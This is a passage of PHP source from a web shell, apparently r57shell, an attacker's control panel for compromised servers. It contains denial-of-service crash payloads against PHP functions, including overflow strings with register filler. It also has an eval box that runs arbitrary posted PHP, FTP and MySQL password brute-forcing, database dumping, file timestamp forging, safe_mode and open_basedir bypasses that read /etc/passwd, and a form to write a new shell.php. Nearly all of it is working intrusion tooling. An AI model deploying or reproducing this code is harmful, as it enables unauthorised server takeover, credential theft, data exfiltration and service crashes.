 case 'dos20':
 $hashtable = str_repeat("A", 39);
 $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
 $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
 $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
 for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; }
 $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
 @unserialize($str);
 break;
 case 'dos21':
 imagecreatetruecolor(1234,1073741824);
 break;
 case 'dos22':
 imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120, 120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120);
 break;
 case 'dos23':
 $a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349); iconv_substr($a,0,1,$b);
 break;
 case 'dos24':
 setlocale(LC_COLLATE, str_repeat("A", 34438013));
 break;
 case 'dos25':
 glob(str_repeat("A", 9638013));
 break;
 case 'dos26':
 glob("a",-1);
 break;
 case 'dos27':
 fnmatch("*[1]e", str_repeat("A", 9638013));
 break;
 case 'dos28':
 if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res = imagepsloadfont($buff); echo "boom!!\n";}
 break;
 case 'dos29':
 if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB'); msql_connect(str_repeat('A',49424).'BBBB');}
 break;
 case 'dos30':
 $a=str_repeat("A", 65535);  $b=1;  $c=str_repeat("A", 65535);  chunk_split($a,$b,$c);
 break;
 case 'dos31':
 if (extension_loaded("win32std") ) { win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );}
 break;
 case 'dos32':
 if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );}
 break;
 case 'dos33':
 $buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP = str_repeat("\x43", 100);$get_EBP = str_repeat("\x44", 100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
 break;
 case 'dos34':
 if (extension_loaded("bz2")){ $buff = str_repeat("a",1000); com_print_typeinfo($buff);}
 break;
 case 'dos35':
 $a = str_repeat("/", 4199000); iconv(1, $a, 1);
 break;
 case 'dos36':
 $a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a);
 break;
 case 'dos37':
 $a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a);
 break;
 case 'dos38':
 $a = str_repeat("/", 9791999); iconv_strlen(1, $a);
 break;
}

if ($_POST['cmd']=="php_eval"){
 $eval = @str_replace("<?","",$_POST['php_eval']);
 $eval = @str_replace("?>","",$eval);
 eval($eval);}

if ($_POST['cmd']=="ftp_brute")
 {
 $suc = 0;
 if($_POST['brute_method']=='passwd'){
 foreach($users as $user)
  {
    $connection = @ftp_connect($ftp_server,$ftp_port,10);
    if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
    else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } 
    @ftp_close($connection);
  }
 }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){
  foreach($users as $user)
  {
    $connection = @ftp_connect($ftp_server,$ftp_port,10);
    if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; }
    @ftp_close($connection);
  }
 }
 echo "\r\n-------------------------------------\r\n";
 $count = count($users);
 if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
 echo $lang[$language.'_text97'].$count."\r\n";
 echo $lang[$language.'_text98'].$suc."\r\n";
 }

if ($_POST['cmd']=="db_brute")
 {
 $suc = 0;
 if($_POST['brute_method']=='passwd'){
 foreach($users as $user)
  {
   $sql = new my_sql();
   $sql->db   = $_POST['db'];
   $sql->host = $_POST['db_server'];
   $sql->port = $_POST['db_port'];
   $sql->user = $user;
   $sql->pass = $user;
   if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; }
  }
 if(isset($_POST['reverse']))
  {
   foreach($users as $user)
    {
     $sql = new my_sql();
     $sql->db   = $_POST['db'];
     $sql->host = $_POST['db_server'];
     $sql->port = $_POST['db_port'];
     $sql->user = $user;
     $sql->pass = strrev($user);
     if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; }
    }
  }
 }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){
  foreach($users as $user)
  {
   $sql = new my_sql();
   $sql->db   = $_POST['db'];
   $sql->host = $_POST['db_server'];
   $sql->port = $_POST['db_port'];
   $sql->user = $_POST['mysql_l'];
   $sql->pass = $user;
   if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; }
  }
 }
 echo "\r\n-------------------------------------\r\n";
 $count = count($users);
 if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
 echo $lang[$language.'_text97'].$count."\r\n";
 echo $lang[$language.'_text98'].$suc."\r\n";
 }

if ($_POST['cmd']=="mysql_dump")
 {
  if(isset($_POST['dif'])) { morewrite($_POST['dif_name'], "mysql_dump\r\n"); }
  $sql = new my_sql();
  $sql->db   = $_POST['db'];
  $sql->host = $_POST['db_server'];
  $sql->port = $_POST['db_port'];
  $sql->user = $_POST['mysql_l'];
  $sql->pass = $_POST['mysql_p'];
  $sql->base = $_POST['mysql_db'];
  if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
  else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
  else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
  else {
   if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
   else if(@is_writable($_POST['dif_name'])){ foreach($sql->dump as $v){ morewrite($_POST['dif_name'], $v."\r\n");} } 
   else { echo "[-] ERROR! Can't write in dump file"; }
   }
 } 

echo "</textarea></div>";
echo "</b>";
echo "</td></tr></table>";
echo "<table width=100% cellpadding=0 cellspacing=0>";

function div_title($title, $id)
{
  return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
}
function div($id)
 { 
 if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">'; 
 $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38','id39');
 if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">'; 
 return '<div id="'.$id.'">';
 }
 
if(!$safe_mode){
echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}
else{
echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
echo $te.'</div>'.$table_end1.$fe;

if($safe_mode || $open_basedir){
echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
echo $te.'</div>'.$table_end1.$fe;
}

if($unix && @function_exists('touch')){
echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($_SERVER["SCRIPT_FILENAME"])))
.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>"
.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
echo sr(15,"<b> or set  Day".$arrow."</b>",
'
<select name="day" size="1">
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select>'
.ws(4)."<b>Month".$arrow."</b>"
.'
<select name="month" size="1">
<option value="January">January</option>
<option value="February">February</option>
<option value="March">March</option>
<option value="April">April</option>
<option value="May">May</option>
<option value="June">June</option>
<option value="July">July</option>
<option value="August">August</option>
<option value="September">September</option>
<option value="October">October</option>
<option value="November">November</option>
<option value="December">December</option>
</select>'
.ws(4)."<b>Year".$arrow."</b>"
.'
<select name="year" size="1">
<option value="1998">1998</option>
<option value="1999">1999</option>
<option value="2000">2000</option>
<option value="2001">2001</option>
<option value="2002">2002</option>
<option value="2003">2003</option>
<option value="2004">2004</option>
<option value="2005">2005</option>
<option value="2006">2006</option>
<option value="2006">2007</option>
<option value="2006">2008</option>
<option value="2006">2009</option>
<option value="2006">2010</option>
</select>'
.ws(4)."<b>Hour".$arrow."</b>"
.'
<select name="chasi" size="1">
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
</select>'
.ws(4)."<b>Minute".$arrow."</b>"
.'
<select name="minutes" size="1">
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
<option value="32">32</option>
<option value="33">33</option>
<option value="34">34</option>
<option value="35">35</option>
<option value="36">36</option>
<option value="37">37</option>
<option value="38">38</option>
<option value="39">39</option>
<option value="40">40</option>
<option value="41">41</option>
<option value="42">42</option>
<option value="43">43</option>
<option value="44">44</option>
<option value="45">45</option>
<option value="46">46</option>
<option value="47">47</option>
<option value="48">48</option>
<option value="49">49</option>
<option value="50">50</option>
<option value="51">51</option>
<option value="52">52</option>
<option value="53">53</option>
<option value="54">54</option>
<option value="55">55</option>
<option value="56">56</option>
<option value="57">57</option>
<option value="58">58</option>
<option value="59">59</option>
</select>'
.ws(4)."<b>Second".$arrow."</b>"
.'
<select name="second" size="1">
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
<option value="32">32</option>
<option value="33">33</option>
<option value="34">34</option>
<option value="35">35</option>
<option value="36">36</option>
<option value="37">37</option>
<option value="38">38</option>
<option value="39">39</option>
<option value="40">40</option>
<option value="41">41</option>
<option value="42">42</option>
<option value="43">43</option>
<option value="44">44</option>
<option value="45">45</option>
<option value="46">46</option>
<option value="47">47</option>
<option value="48">48</option>
<option value="49">49</option>
<option value="50">50</option>
<option value="51">51</option>
<option value="52">52</option>
<option value="53">53</option>
<option value="54">54</option>
<option value="55">55</option>
<option value="56">56</option>
<option value="57">57</option>
<option value="58">58</option>
<option value="59">59</option>
</select>'
.in('hidden','cmd',0,'touch')
.in('hidden','dir',0,$dir)
.ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}

$select='';
if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
if($unix && $select){
echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($_SERVER["SCRIPT_FILENAME"]))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}

if(!$safe_mode){
$aliases2 = '';
foreach ($aliases as $alias_name=>$alias_cmd)
 {
 $aliases2 .= "<option>$alias_name</option>";
 }
echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id7').$table_up2.div('id7').$ts;
echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}

echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id8').$table_up2.div('id8').$ts;
echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
echo $te.'</div>'.$table_end1.$fe;

if(!$safe_mode && $unix){
echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
echo $te.'</div>'.$table_end1.$fe;
}

echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id10').$table_up2.$font;
echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>";
echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
echo "</textarea>";
echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
echo "</div></div></font>";
echo $table_end1.$fe;

if($safe_mode || $open_basedir)
{
echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
echo "<table class=table1 width=100% align=center>";
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}

if(($safe_mode || $open_basedir) && $curl_on && @version_compare(@phpversion(),"5.2.0")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}

if(($safe_mode || $open_basedir) && $mysql_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id13').$table_up2.div('id13').$ts;
echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}

if(($safe_mode || $open_basedir) && $mysqli_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text144'],'id40').$table_up2.div('id40').$ts;
echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test19_md',15,(!empty($_POST['test19_md'])?($_POST['test19_md']):("mysqli"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test19_ml',15,(!empty($_POST['test19_ml'])?($_POST['test19_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text39'].$arrow."</b>".in('text','test19_mp',15,(!empty($_POST['test19_mp'])?($_POST['test19_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test19_port',15,(!empty($_POST['test19_port'])?($_POST['test19_port']):("3306"))));
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test19_file',96,(!empty($_POST['test19_file'])?($_POST['test19_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test19').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}

if(($safe_mode || $open_basedir) && $mssql_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}


if(($safe_mode || $open_basedir) && $unix && @function_exists('mb_send_mail') && @version_compare(@phpversion(),"5.2.0")<=0){
echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}

if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_list') && @version_compare(@phpversion(),"5.2.0")<=0){
echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id20').$table_up2.div('id20').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}

if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_body') && @version_compare(@phpversion(),"5.2.0")<=0){
echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}

if(($safe_mode || $open_basedir) && @function_exists('copy') && @version_compare(@phpversion(),"5.2.0")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
echo sr(15,"<b>".$lang[$language.'_text117'].ws(2).$lang[$language.'_text60'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}

if(($safe_mode || $open_basedir) && @function_exists('ini_restore') && @version_compare(@phpversion(),"5.2.0")<=0){
echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}

if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.0.0")<0){
echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}

if(($safe_mode || $open_basedir) && @function_exists('glob') && @version_compare(@phpversion(),"5.2.2")<=0){
echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test_global'])?($_POST['test_global']):($dir))).in('hidden','cmd',0,'safe_dir').in('hidden','glob',0,'glob').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}

if(($safe_mode || $open_basedir) && @function_exists('realpath') && @version_compare(@phpversion(),"5.2.4")<=0){
$select_n_rlph = "<select name='n_rlph'><option value=1>[ 1 ] (<<0,01 sec)</option><option value=2>[ 2 ] (<0,01 sec)</option>".
"<option value=3 selected>[ 3 ] (<1 sec (default))</option>".
"<option value=4>[ 4 ] (<10 sec)</option><option value=5>[ 5 ] (>100 sec (danger))</option><option value=6>[ 6 ] (>>100 sec (danger))</option></select>";
echo $fs.$table_up1.div_title($lang[$language.'_text145'],'id41').$table_up2.div('id41').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',30,(!empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).'<b>'.$lang[$language.'_text55'].'</b>'.ws(2).in('text','end_rlph',6,(!empty($_POST['end_rlph'])?($_POST['end_rlph']):('.php'))).ws(2).in('hidden','cmd',0,'safe_dir').ws(2).'<b>'.$lang[$language.'_text146'].'</b>'.ws(2).$select_n_rlph.ws(2).in('hidden','realpath',0,'realpath').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}

if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):($tempdir.'test.zip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}

if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):($tempdir.'test.bzip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}

if(($safe_mode || $open_basedir) && @function_exists('error_log') && @version_compare(@phpversion(),"5.2.2")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up2.div('id27').$ts;
echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
echo $te.'</div>'.$table_end1.$fe;  
}

if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
echo $te.'</div>'.$table_end1.$fe;  
}

